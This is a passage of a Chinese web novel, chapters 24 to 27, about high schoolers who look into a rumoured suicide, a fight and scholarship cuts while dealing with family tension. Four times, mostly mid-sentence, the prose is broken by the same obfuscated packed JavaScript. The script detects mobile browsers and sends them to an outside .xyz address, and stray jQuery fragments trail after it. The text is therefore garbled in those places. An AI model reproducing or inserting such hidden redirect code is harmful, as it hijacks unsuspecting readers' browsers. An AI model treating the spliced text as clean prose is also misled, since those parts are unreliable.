“对不起。我忘记你很讨厌我了。但是纪同学,实话实说,我一直都很想和你成为朋友的。”
撒谎。
“当然,我也知道,这一切都只是我的一厢情愿。”顾天倾无辜地说。
“你真的没有问题想要问我吗?还是说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862757|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你想知道的,昨晚都已经得到答案了?”
纪之水看穿了他的恶劣。
这是威胁。如果她拒绝了这场游戏,拒绝了他友谊的橄榄枝,他当然也能用一样的理由顺理成章地拒绝掉她之后所有的疑问。
至于他口中的“友情”?
那比金城高中食堂免费供应的紫菜蛋花汤里的蛋花还要稀薄。他们认识的时间还不满一个月,哪里来的友情。
甚至于,纪之水完全看得出来顾天倾讨厌她,就像她讨厌顾天倾那样。
“其实我们没必要闹成这样。”
纪之水脑子转得很快:这世界上才没有毫无根源的厌与憎。
如果说她对顾天倾的厌恶来自于他自以为是的善意——过去的一段时间里顾天倾可以说是极尽全力在帮她融入进高三A班这个班集体,全然罔顾了她本人的意愿。那么顾天倾对她的憎恶也总有根源。
思来想去,问题可能出在李茂身上。
作为高三A班的班主任,李茂生活的重心从工作偏移到了家庭。
他忙于自己的家事,将学期过半后突然从天而降的烫手山芋径直甩给了他心目中无比可靠、助人为乐的班长,全然没有过问过顾天倾的意愿。设身处地地想,如果莫名其妙地背上了一个包袱的人是她,纪之水自认有一定概率会对“包袱”本人产生负面情绪。
而她表现出的反感与李茂的托付全然冲突,顾天倾夹在中间,两边受气。
所以,他愤怒了。
所以……他想要报复她。
纪之水认为自己找到了症结所在。
脑海中百转千回,纪之水忽然想通,诚恳道:“对不起,班长,我得向你道歉。”
“为什么突然这么说?”顾天倾显然不吃这一套,“我只是想和你玩牌而已。”
“比起‘对不起’,我想我更愿意从你嘴巴里听到谢谢两个字。毕竟我们在不久前还有过并肩作战的情谊。”
如果他指的是围殴骆一燃这件事的话。
既然他不领情,纪之水的好脸色也就到此为止。
“那好,玩一把。”
她冷冰冰地说:“我想问,昨天晚上你在学校逗留了那么久,真的只是为了留下执勤吗?”
面对这个问题,顾天倾匪夷所思,“比起我,你才是专业的。塔罗占卜可以问这种和本人没关系的问题吗?”
“你也说了,我才是专业的!”
不管是不是,至少他嘴上承认了。
纪之水道:“洗牌吧。”
她倒要看看顾天倾等会儿能编出什么瞎话来。
天知道她刚才在操场上故弄玄虚时脑袋有多痛。这种酷刑堪比她时隔多日第一次面对语文试卷后长达八百字的应试八股文,那种头脑空空的茫然。
顾天倾没有动。
当看破不说破不再是一种心照不宣的默契,那道分明的界限就被打破了。他的脸上浮现出一层阴影,细看却不是被戳穿后愤怒的神色。
顾天倾有些费解。
纪之水扳回了一城,语气平和:“怎么,游戏不玩了吗?”
“你……”顾天倾欲言又止。
“你的好奇心为什么这么重?”
24. 第 24 章
在黑暗中,远处的光亮会更加显眼。
手电筒的光柱笔直地冲向对面教学楼的办公室,纪之水恰好从四人组周围路过,脚步停了停,顺着吴羽手中手电筒的光芒,捕捉到了对楼窗口一闪而过的身影。
如果高三年级组的老师都在开会,那么出现在办公室的人,会是谁?
纪之水不觉得那一定是顾天倾。
可当他遮遮掩掩不愿意回答时,她脑海中的警铃就开始响了。
无心插柳柳成荫,纪之水没想到她随口一诈,还能诈出来一个秘密。
就算出现在办公室的人不是顾天倾,他昨天晚上也一定没干好事。
不然他心虚个什么劲儿?
面对他的问题,纪之水理直气壮地说:“因为好奇啊。”
谜底就藏在谜面上。
好奇心和懒惰,是人类进步的第一生产力。而处于人生的不可名状时期、世界观人生观价值观即将成型,但仍然一片混沌的高中生们,正是好奇心十分旺盛的年纪。
顾天倾没好气道:“那你在学校里瞎晃不回家又是为什么?我留在学校还能说是因为学生会有执勤任务,你总不会是在欣赏校园景色吧?”
还害他大晚上蹬了那么久的自行车。
纪之水嘴硬道:“我看学校后山的风景很好啊。”
金城高中依山而建,往后就是一片未经开发的原生态的山。
她大半没说真话,顾天倾叹了口气,还是怕她往山上跑,说:“不管真的假的,你别往山上跑,学校三令五申山上危险,一般没人会去那儿。”
学生只是好奇心重,不至于主动作死。但顾天倾不确定纪之水会不会是那个缺心眼的例外。
学校用铁丝网将和后山毗邻的地方围了起来,唯一留下的通道被一把大锁死死挂住,可能十来年都没人进去过了。
她果不其然追问:“危险?山上有蛇吗?有老虎?”
“老虎是肯定没有。这个季节,蛇应该在冬眠,但万一发生小概率事件还是够呛的……好了,不要一副很感兴趣的样子,本地人都不会往山上跑的。”
什么感兴趣啊!纪之水最怕蛇了,她刚才分明是被脑补吓到了。
她面无表情地看了看顾天倾,“我看你也不像本地人。”
纪之水将塔罗牌收拢,放进铁盒里。
“他们都说,金城高中有人跳楼了。”纪之水死死盯住顾天倾的脸,试图在毫无预兆地砸下这个惊雷时从他脸上捕捉到别样的情绪,“你知不知道这件事?”
纪之水时常半敛着眼,独自坐在远离人群的地方,总是一副睡不醒的困倦神色。有人说她孤僻、不合群,顾天倾却以为纪之水只是懒得理会和她搭话的那些人。
这是顾天倾第一次见纪之水把眼睛瞪这么大。
他一时间被她看得头皮发麻,“你干嘛用这种眼神看我?没听说过……等等,你这是什么表情?”
“你现在已经离奇到怀疑我是杀人犯了吗?”
真是好心当成驴肝肺。
顾天倾深深为自己吹的寒风觉得不值。
纪之水感觉自己的智力受到了侮辱,“哪句话说怀疑你了?我才不是这么没有逻辑的人。”
两人对视一眼,彼此的目光中尽是审视。
·
踩着英语课下课的尾巴,纪之水跟在顾天倾后面喊了报告,吃了周英一眼刀,在她皮笑肉不笑的注视之中坐进了教室。
周英没罚顾天倾,自然也没道理批评她。
刚一下课,果不其然,纪之水又被围住了。
“班主任有没有骂你?是不是要请家长啊?”
“之水,你受苦了!那个5班的男生真是个害人精!”
…………
柳天意靠着时常和穆若婷聊天的肌肉记忆抢到了最好的位置——那个一下课就跑去小卖部购物的同学空置的座位,却只是趴在桌子上看着纪之水,也不讲话。柳天意不复往日的嚣张气焰,纪之水反而有点不习惯。
纪之水一面回答着同学们的追问,不期然被窗外吸引了目光。
下午阳光炽烈,照得小半个教室的人头晕眼花,黑板上的反光让人眼前一片模糊,无法集中精力。坐在窗边的同学通常会拉下窗帘遮阳。但这种举动会大大影响走廊里不定期巡查的教导主任、班主任窥探的视线。
教导主任不厌其烦地一次又一次敲响每个班的后窗玻璃,在批评声中勒令他们不许放下遮光帘。两相拉扯之下,下午的窗帘保持着拉了一半的高度,刚好遮到站在后门谈话的两人胸口的位置。
但纪之水认得出那是谁。
整个学校会穿着西装三件套走来走去的也只有今天被请过来的顾天倾家长。
那个西装男。
西装男和顾天倾的事可以暂且往后放放。纪之水收回视线,随口作答。不知从哪句话开始,讨论的中心逐渐转移到那桩似是而非的跳楼案上。
“你们说,那个人为什么要跳楼啊?”
“为什么?老三样呗。学业、家庭、爱情。这么多年了,听的案例也不少。”
海珠忽然举起了手,说:“说到这个,我……我好像知道一件事,不知道和那个人跳楼有没有关联。”
“对哦,海珠你是学生会的,知道的消息总比我们普通人多一点。是什么事情呀?快和我们讲讲。”
海珠的脸颊染上红晕,“没有没有,学生会也只是跑腿干活的学生组织而已。不过我们偶尔会提前知道一些消息。”
比如放假讯息什么的。
这种消息想要提前知道,更快捷的方式是和食堂打饭阿姨处好关系,他们的话比年级主任还要有含金量。
海珠慢慢地说:“似乎是因为企业赞助不够发,今年的贫困生奖学金名额砍半了。我之前在帮老师做登记,消息才刚刚通知给贫困生同学没多久,仔细算了一下,通知到位的时间和传言发生跳楼案的时间好像差不多。”
“助学金不是国家发的吗?和企业赞助有什么关系?”
“哎呀,话不是这么说的,就算是国家发钱也会有规定名额啦!不然干脆给我们班每个人都发钱好了!”
还没等海珠说话,大家已经七嘴八舌地吵起来了。
“好了,不要吵架。再闹自己去外面吵。”穆若婷敲了敲几只出头鸟,示意他们安静,“海珠有话要说呢。”
海珠试了几次,都没插进去话。她的音量太小,只要有人声音大一点儿,就能轻而易举地盖过她。
她感激地看了穆若婷一眼,却发现她好像在神游。
是哦,对于这种社会新闻,穆若婷总是不感兴趣。
“奖
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862758|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
学金和助学金不是一回事。国家助学金还是照发的,那个钱是上面拨款,不用学校操心。金城高中每年都会收到社会企业和往届校友的热心捐款,大家都收到过的学期、学年末的奖学金对吧?不仅是这些钱,还有部分只对贫困生同学开放的奖学金都是用社会捐款发放的。”
海珠轻声细语地解释:“可能是因为今年收到的热心捐款少了一些,所以相应的,部分名额也会砍掉。”
“为什么捐的钱少了?”
海珠摇摇头:“这我就不知道了。”
“哪有为什么啊。捐钱是情分不捐是本分呗。”
“因为没钱就去死?有点牵强。”有人这么说。
“也不能这么说嘛。奖学金也不是一笔小钱啊。”
“我上回考了个生物第一,也只发了五十块而已。”
“那是你成绩瘸腿,只有单科优势,自然拿得少啊!我没仔细算过,去年期末表彰大会上发的项目就有一、二、三等奖学金,年级前五十,班级前三,单科第一……还有零零散散的其他小项目。”
除了金额特别大的几个奖项不能兼得,有些项目是可以重复叠加的。掰着手指头粗略一算,就能知道这里会上下差多少钱。
“你去问问班长,就能知道他们拿得多的人能拿多少了!”
“问就问!咦,班长呢?”
聊到这儿,总算到了纪之水插得上话的部分。她还想继续听他们吵吵嚷嚷下去,于是贴心地提醒道:“他在后门门口站着呢。”
.
“医药费你到时候看着给吧,打的时候收着力了,他没受多少伤……”
正说这话,顾天倾面前忽地蹿出一个人来,一记直球直冲门面:“班长,你去年期末奖学金拿了多少钱?”
顾天倾和西装男具是一愣。
恰逢八卦闲谈的重中之重,没有什么比一个答案更重要的了!
“不太记得了……好像是八千多吧?”似乎是被对方眼中隐隐若现的光亮所震慑,顾天倾难得地卡了下壳,“怎么了?”
对方却已经跑远,跳进了那个最近隐约有成型趋势的“纪之水包围圈”里,对着一群人宣布:“问到了!班长说他拿了八千!”
以十几个人为单位的小团体中,纪之水坐在中心,却好像和周围都格格不入。
如果说其他人是同一张平面图里的和谐画像,那么她就像是从另一张画上撕下来,再被人生硬贴上去的。
顾天倾望着她的背影。
再一回神,只见成年人的目光促狭地望着他。彼此共事也有些年头了,很容易一眼看出对方在想什么。
顾天倾逐渐找回了自己的声音:“别多想,我——”
“我会保密的,绝对不会泄露您的隐私。作为您的生活助理,我还是很有职业道德的。”生活助理清了清嗓子,故作正经道,“那我先带您的同学去医院。您有事的话随时联系我。”
差点忘了那个体育生。
顾天倾想。
虽然顾天倾自称下手不重,但乍一看还是有点吓人的。生活助理进办公室的时候,骆一燃肿了半边脸,鼻子下的血痕还没擦干净,看着很是狼狈。
发生什么会让顾天倾把同学打成这样呢?
猜不透啊,真是猜不透。
生活助理没忍住笑了。
25. 第 25 章
还是熟悉的五点下课,还是熟悉英语办公室重新默写。
百无赖聊的英语老师支着下巴发呆,被空调熏得暖烘烘的办公室一走进去就是一股发闷的气味,纪之水先是屏息,借着找到空位。
唯一不同的是,这回身边多了一个人。
“你怎么也在?”纪之水抱着本子,眼神复杂地对上顾天倾的视线。
年级第一沦落到晚饭时间留堂重默的地步,顾天倾慢条斯理地翻开崭新的重默本,落笔写下单词,“今天是英语课上默写的。我们俩当时在办公室呢,我总没办法变出一个分身去班里,缺席了自然得补回来。你不也是吗?有什么好惊讶的。”
所以他当然会出现在这里。
好吧,这听起来很合乎情理。
高中俨然是个独具特殊生态的小型社会,纪之水下意识以为像顾天倾这种金字塔尖上的优秀同学会有点什么特权——例如不用重复默写,可以不交作业之类的。
目前来看似乎并没有。
“不许交头接耳,都抓紧重默!”周英的声音里带着没法按时吃饭的怨气,两人都没回头,纪之水却觉得那警告是明晃晃对着他俩的,“交一个走一个,别搞小动作。”
纪之水老实了,在桌子前站得笔直。
今天没有需要留下磨蹭的缘由,加上白天的斗殴消耗了尽力,纪之水只想快点回卧室躺着。
她想念柔软的床铺,想念她特地从千里之外人肉背来的可爱骷髅头小夜灯,以及梅陆露准时准点的问候。
纪之水下笔飞快,迅速交了重默本。周英机械地在她本子上留下血红的对勾,一句话也没讲。她看上去有点神不思属,每批完一个人的作业都要瞥一眼手边暗淡的手机屏幕。
也许实在等消息?纪之水习惯性猜测。
不过,她肯定不会多管闲事地问一嘴老师您怎么啦,刘瑞平这种左右逢源的家伙倒是可能会自来熟地搭话。
第一次见到刘瑞平是在行政楼,纪之水去交一份文件。
刘瑞平拉着教务处老师的手唠了起码三分钟的家常才图穷匕见:“老师,您通融通融,把手机还给我呗。”
他哭丧着脸耍宝,神态像是被踢了一脚的落水狗。收走了他手机的老师一看就不是爱狗人士,硬着心肠拒绝了。
纪之水和顾天倾前后脚默完,是以她刚回班级收拾好东西,顾天倾也出现在门口。
他站在前门,也不进班,像是在等待。
见纪之水拎起包,顾天倾发出自来熟的邀请:“走吧。”
“这里还站着别人吗?”
纪之水回身一望,显然班里没在她毫无察觉的情况下多出一个人来,放眼望去,只有被习题册堆得高高的桌面和无处下脚的过道。
空调已经关了,前后门敞着通风,周遭景象一览无余。
她忍不住对顾天倾喷洒毒汁:“我和你又不顺路。你昨天晚上蹬了回自行车还蹬上瘾了?”
顾天倾乐了,“怎么说话呢,攻击性这么强。”
最终,他们还是一起走了。
通往大门的路上行人稀疏,只有零星几个匆匆而过的老师。走读生在金城高中堪比珍稀动物,不上晚自习的走读生更少。
倒不是纪之水突然改变了主意,而是理智回笼后,她想起来一桩事:她和顾天倾之间还有一笔财务纠缠。
——那个体育生的医疗费。
虽然纪之水以为,严格意义上来说,他们仨这算互殴,出于公平,每个人应该均摊责任。
但不幸的是,骆一燃眼里并没有所谓的公平,更没有什么白纸黑字的规则能够去约束他。骆一燃在打不过也辩论不过的情况下想出了一个奇招。他躺倒在地,声称自己被纪之水和顾天倾二人重伤,叫嚣着要去医院做伤情认定。
任何重伤的人都没有办法发出那样中气十足的大喊。谁都知道这一点,但又拿他这个无赖泼皮没办法。
不要脸的人总能够得到世界更多的优待,纪之水衡量了片刻,实在没办法像骆一燃那样,坦然地和办公室的地面亲密接触。
至于顾天倾……他更指望不上了。
输就输在两个人都太体面了。
“今天来的那个人是你家长吧?骆一燃是他送去医院的,到时候你可以把医疗费账单寄给我,我们AA。”
想到那张粗野蛮横的面孔,纪之水深深觉得这笔钱花的很亏,“要是他狮子大开口漫天要价,千万别答应。通知我,我来想办法。”
“你的心理价位是多少?”
纪之水报了个很低的数字。用脚趾头想骆一燃也绝对不会轻易被打发,纪之水认命一般叹气,在后面又加了个零。
赔多赔少都可以……希望他对这个价格满意。
.
放学时间,校门口车辆廖廖,一只手数的过来。
多数走读生就住在金城高中对面的小区,最远步行十来分钟也就到了。只有周日下午全校公休,才会有开着车来接孩子的家长等在门口,将才翻新过不久的大门围堵得水泄不通。
转学不久,纪之水第二次犯事。不得已而为之,她祭出了司机王叔的电话号码。
王叔当即在电话里表示会赶来学校。李茂终于满意了,纪之水却是不太满意的那一个:她预感今天过后,她自由自在的好日子说不定就到了头。
她和顾天倾被轰回教室上课的时候,只有西装男抵达办公室。王叔还在赶来的路上。至于骆一燃那边的家长,在李茂洪亮的通话声中,五班老师手机里模糊的说话声被全然掩盖住。
英语课之后是语文。语文老师是位经验丰富的资深教师,气质平和淡雅,说话轻声细语,带着文气。
讲台上的手持麦克风支撑了一天,电量略微不足,语文老师的声音传到耳边,夹杂着混乱的电流声。
纪之水一节课上得心绪不宁。
课本和习题册筑城的围墙之下,墙根处靠着她装着塔罗牌的铁盒。课桌里忽然有什么东西短暂的一亮,纪之水犹豫片刻,将手伸进了桌子里。
是司机王叔发来了消息。
或许是考虑到她正在上课,王叔发来的文字很简短,只是告知她今天他会等她放学。
王叔虽然是黎兴学专门请的司机,但却不像一般的雇佣关系那样和雇主家公私分明。
黎明达那样混不吝的性格,和他说话时也很客气。
纪之水一时间陷入了两难的境地:如果及时回复推拒,也就暴露了她在课上随意使用手机的事实,这未必不会给她带来什么负面的影响;如果假装没看见,等到下课再回复——
这已经是最后一节课了。
下课之后,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862759|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她就更加没有理由拒绝。
最终,纪之水还是没有回复。
纪之水原本轻捷的脚步在越靠近校门口的时候不自觉地变得越慢。顾天倾注意到了她的踟蹰,“正好今天有车,要不要送你回去?”
“这几步路你还要司机送啊。”她关注的重点还是一如既往的奇怪。
顾天倾为自己正名,“不是,我去别的地方住。明天周日,我请了假。”
“请假?你明天要去干什么?”
“你很关心我啊。”
笑意在他唇边一闪,纪之水视线幽幽地盯着他,好奇心占据了上风:“关心。所以要去干什么?”
顾天倾竖起一根手指抵在嘴唇中间:“秘密。”
纪之水:“……”
马路对面的一辆白车打着双闪。
纪之水看了眼车牌号。不是黎兴学那辆很有暴发户味道的三个八,那就不是她找的那辆了。
“要不要我送?”顾天倾像是个不在意业绩的销售,“坐车至少比挤公交舒服。”
“不。有人接。”纪之水终于看到了白车后面朝着她挥手的王叔,抬起手臂挥了一下就做贼似的放下了。
她提醒顾天倾:“账单。”
“……不会忘的。”顾天倾说。
飞速钻进开着空调的车里,暖气霎时间化解了车窗外的寒意。
纪之水礼貌叫人:“王叔,下午好。”
王叔关心了她几句,调转车头驶向回城的方向。透过玻璃,金城高中修葺不就的大门逐渐远离,学生、外出的老师,都成为了视网膜上愈来愈小的黑点。
“今天怎么回事?我听你们班主任说你在学校和人打架了,吓了一跳。到了办公室,老师说你没什么大碍,倒是那个男同学喊着要去医院……小纪啊,和王叔说实话,你有没有受伤?”
纪之水抱着包,摇了下头。她意识到对方在开车,又出声道:“没有,我没事。”
“这件事能不能……”
“不想告诉你爸爸?”王叔从后视镜里看她,眼神慈祥又包容。
纪之水想撇嘴,望见后视镜里她的脸,当即调整了表情。她试图用一种正常的语气说话,“他毕竟工作忙……”
“我已经通知了你爸爸。这么大的事情,他作为家长总是要知道的,不可能让你在学校里受了欺负还不当回事。”王叔看上去有点气愤。
“我看到了,个子那么高的一个男孩子,在办公室里耍无赖似的喊着受了你这么个小姑娘的欺负——”
“怎么想都知道是谁欺负谁!”
纪之水沉默了。
事实虽然并非骆一燃一面之词描述的那样荒诞,但也绝对不是王叔眼中的版本,她全然无辜,啥也没干。
骆一燃青肿的脸有她一份功劳,他流的那一滩鼻血该由顾天倾扔出的篮球负责。纪之水几乎没在打架中吃亏,大部分拳脚都由顾天倾拦下,他的校裤上甚至还有一个完整的脚印,而她只是头发散了。
王叔絮絮叨叨地说:“他喊着要去医院。去就去嘛!我倒想带他去医院看看,他到底受了什么伤……”
“不过,另一个孩子的家长主动带他去了。他看着像是个文明人,体面,斯文。”
“明达学校也快放学了,我想着还要接孩子,加了他的联系方式……”
26. 第 26 章
“然后呢?王叔你再讲点呗。”
黎明达八卦地追问。
他在这种事情上一改痴呆的本质。纪之水和王叔不过寥寥几句交谈,黎明达在旁边竖着耳朵听,忽然像是被一条灵敏的猎犬上身,从只言片语中抓到了下午一场斗殴的痕迹。
“安静点。”纪之水说。
作为半路冒出来的姐姐,黎明达不觉得纪之水对他有什么管教的资格。
阴沉少言还冷心冷肺的纪之水对他全无一点家人的关怀,黎明达自然“投桃报李”——他只想在这种时刻落井下石。
他刚要表达不屑,对上纪之水那双黑沉沉的眼睛,思绪一瞬间错乱。
仿佛又回到了那个他表现得很逊的夜晚,被三张纸牌吓得哇哇乱叫。黎明达生怕纪之水把这丢人的事儿抖落出去,一时间有些悻悻。
“切……”他用一声轻嗤为自己挽回了些许尊严,仿佛是无意于和她计较,“不说就不说了呗。”
一路无话。
直到下车,两人同王叔告别。上电梯的这段路走的很沉默,往常只会是黎明达咋咋呼呼地自言自语,今天他刚在纪之水那儿吃了瘪,谈性不高。
电梯门一开,里头很空,没有其他住户。
黎明达凑上去扫了人脸,忽然说:“你昨天算的不对。”
纪之水一脸冷淡。
她可从来没有说过她算的准,塔罗牌新手的话,谁信谁是傻子。她不对这场玄学游戏里的任何一个字眼负责,仅供娱乐。
纪之水没有理他,他就像平常那样自顾自地说下去:“妈说她今天回家,这个点肯定已经到了。”
电梯门向两边打开,纪之水还是没说话,黎明达受不了她的冷暴力了,祈求道:“纪之水,给点反应行不行?”
纪之水率先迈出了电梯。黎明达一路跟在她屁股后面,或许是已经看透了她的冷酷,放弃了沟通。
大门倏忽打开,露出一道西装革履的中年人的身影,朝着两人笑道:“老远就听见你们姐弟俩打打闹闹的声音。阿姨马上就要做好饭了,快来洗个手,准备吃饭。”
是黎兴学。
黎兴学年过四十,相貌看着却比同龄人要年轻许多,只是笑起来时眼角会浮现出细细的纹路,昭示着他已然不算年轻。他刚到家不久,衣服还没换下,仍是上班时那副文质彬彬的模样。
黎明达舌头打了下结,“爸!?你回来了?”
金城国际的校服偏西式,西装外套剪裁挺括。黎明达站在黎兴学跟前,父子俩外貌相似,穿着打扮也有共通之处。
纪之水冲生物学意义上的父亲点了下头,幽灵一样飘走。
客厅里传来一道爽朗的女声:“死小子,别堵在门口,外面冷死了。”
黎明达眼睛一亮,“妈!”
真是大白天见了鬼了。纪之水心想,这套房子里鲜少有人这么齐全的时刻。
回房的那条路不短,她加快脚步通过,却恰巧撞上了转过脸看向玄关处的唐恬的眼睛,霎时间小小地一震。
两人显然都没想到会有这一出。
对比和儿子说话的随意,唐恬冲纪之水笑了一下,声音要轻了许多,“之水也回来了。”
沉默无疑会扩大那份不自在和尴尬。纪之水多少也知道唐恬最近外出不归有部分原因要归咎到她头上,快速地打了招呼:“阿姨好。”
在父子三人吵嚷热闹的家庭戏中矗立着纪之水这片将温度冷却下来的黑色阴影。
这是不可避免的尴尬缩在。
门一关上,隔开了厨房烹饪翻炒的响动,以及外面的交流声。纪之水自认比做饭阿姨的存在还要格格不入,至少在这个没人会做饭的三口之家里,阿姨尚有存在的必要性。
纪之水打开灯,换上柔软贴身的居家服,躺在沙发里长出了一口气。
·
黎兴学在晚饭过后敲响了女儿的房门。
考虑到在饭桌上讨论她在学校的矛盾可能会让人食不下咽,黎兴学以为,他多多少少得为青春期孩子的敏感多思稍作考虑。所以至今为止,他没有对纪之水卧室的装修风格发表任何看法——那堆奇怪的兽骨模型、彩色石头和水晶摆件,仍好好地躺在纪之水的桌面。
“小河,爸爸有些事情想和你聊聊。”
房门打开,纪之水贴着门边,露出半张脸,不声不响地望着他。
在她身后是光线明亮的室内。纪之水的书桌上摊着卷子,学习用品散乱,不过最引人注目的,还要数那个做成人类头骨形状的灯,从包括双眼、鼻子和嘴巴在内的每个孔窍里散发出光芒。
“我可以进去吗?”黎兴学询问道。
纪之水侧过身,将门又拉开了一点,放黎兴学进去。
黎兴学走得很小心。往下是漆黑的长毛地毯,像只软趴趴的长毛怪,四面八方是各种奇怪的摆件……他刚在沙发上坐定,不远处的头骨台灯就明晃晃地朝他“看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862760|176120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”过去了。
……还带自动跟随。
很厉害。
黎兴学好半晌才找回自己的声音:“我和你的班主任通了电话,听说了一些……你在学校里发生的事情。”
纪之水嗯了一声,承认得很爽快,“我和人打架了。你可能需要出面赔个医药费,我会把钱补给你的。”
她应得太快,完全没有狡辩的意思。黎兴学有些始料未及,愣了一下才说:“不是钱的问题……”
黎兴学当然没向纪之水要过钱,甚至在钱财方面的给予十分慷慨。然而纪之水以为还是算得清楚些比较好,她毕竟不会在金城长待,也没兴趣做黎兴学的女儿,纠缠太多,旁生枝节,反倒不美。
在谈话间取得对话的主动权是十分重要的。
趁着黎兴学愣神的间隙,纪之水迅速反客为主,问:“那是哪里有问题?”
“钱的问题不是问题,爸爸就是想问问,小河,你打赢了没有,有没有吃亏?”
纪之水抬了抬下巴:“赢了。”
“那就好。”听到这里,黎兴学放下了心,“你们班主任让我明天去一趟学校,想和我聊聊这段时间你在学校的表现。”
他这么一说,纪之水心里那点打赢了架的的一瞬间消失无踪。
看来李茂的家事都处理得差不多了,居然能在百忙之中抽出空约谈黎兴学——难道她什么时候表现得像是想要赖账不赔骆一燃的医药费吗?
就算是着急,也该是垫付了钱的顾天倾着急才对吧!
·
星期日,学生们都透着和往常不同的躁动不安。
原因无他。只要熬过了上午的四节课,午饭时间一到,意味着金城高中周日下午的公休开始了。
这是住宿生为数不多的称得上漫长的可支配时间,不但能够踏踏实实地吃完一餐饭,还能回到寝室一口气将打水、洗衣服、去澡堂洗澡之类的事一股脑儿全都做完。
临近下课,底下渐渐响起窃窃私语。
“等会儿先别急着走。”刘瑞平伸出笔帽戳了戳吴羽坚实的臂膀,提醒前面的两人。
吴羽道:“你找着地方了?等会儿去哪?”
“我做事你放心。下课跟着我走就行,保准让你们心服口服!”刘瑞平放出话来。
他卖了个关子,不肯说出地方,准备用事实叫小伙伴们大吃一惊。
罗吉叹息一声:“你别把我们几个带山里去就成。”
27. 第 27 章
下了课,刘瑞平带着几人七拐八绕,走进了一间教室。
冬季阴冷,这地方背阴,几人走进门都觉得像是打开了电冰箱,冷得直打哆嗦。
“我去,什么鬼地方,这么冷……”
从教室桌椅的落灰程度上来看,这里应当已经很久没有使用过了。
陈芊不安道:“刘瑞平,这教室是干什么用的?不会有人来吧?”
“你放一百个心。这是文学社社团的活动场地,一般没人会到这个地方来晃悠。”除了他们几个。
“学校还有社团吗?”都快在学校待了三年了,他们居然都没听说过。
刘瑞平也是无意之中发现了这么一处风水宝地。
他介绍道:“社团活动早就名存实亡了。每个阶段应付上级领导检查的产物而已,只会在某些特定的时间节点活跃几节课,然后就销声匿迹了。大多数时间连这些活动教室都是空置的。”
“真牛。”罗吉道,“这么偏门的地方都被你找出来了!”
他们需要一间能够光明正大的交流而不引人注意的场地。教室人来人往,讨论起来,心里总是觉得不踏实。
坠楼案一时间不算完,他们到底半只脚踏进去了,即便那天在艺术楼前吓得六神无主,过后还是心里放不下这件事。加上……还有个古怪的纪之水的加入。
刘瑞平一合计,大手一挥,包揽了场地的问题。今天就是他交出的答卷。
“她呢?啥时候来?”吴羽草草用纸巾擦了椅子上的浮灰,大马金刀地一坐。
四缺一,还有个人尚未到场。
再一看罗吉,他已经从包里翻出试卷来做了,随口说:“别放了我们几个的鸽子,让我们白等。”
“才不会呢。”陈芊道,“她说了会来的。”
好不容易熬到下课,纪之水和穆若婷告别,拎起包,顺着人流离开。时间有限,黎兴学和李茂不知道什么时候谈完,她得抓紧。
穿过小径,她折身逆着大部队的方向,推开了一扇门。
四人中率先看到她的是吴羽。
吴羽抬头,对她咧嘴一笑:“哟,来啦。”
“你们A班下课这么晚吗?一星期还不容易赶上半天假,还拖堂,没天理了。”
罗吉收起作业本,看了眼腕表上的时间,算了算路程,也差不离,“他们没晚,只是其他班都会提前下课而已。”
纪之水带上了身后的门,“久等了。”
寒暄环节可以省略。纪之水坐下,毫不拖泥带水地发表了结论:“几周前的周日下午,刘瑞平在美术楼看到的那个女生,大概率是陆于栖。”
众人表情各异。
这是个意料之中的结果。他们这几天围绕着名单上的几个名字,常在各个班级门口转悠,向熟识的同学打听消息。
文理分班过后,他们从原先的各个班级被打散,重新组合成一个班,换而言之,每个班都有他们之前的同学。
互相一打听谁不在、为什么请假不在学校,是很容易的事情。
陆于栖已经十来天没有出现在学校了,但当十三班的同学被问起时,都要愣一下才能作出反应。
他们都说不清楚她为什么不在,谈到原因,不同的人竟然给出毫无关联的答案。
“我也不知道啊……和她不熟,没说过话。”
“哦,你问陆于栖啊。她可能是不想念了吧,高二的时候班上就有个人退学了。你想知道陆于栖的事情,可以问问和她关系好的人。”
“谁和她关系好?那我倒是没注意。她性格很清高,不怎么理人的。”
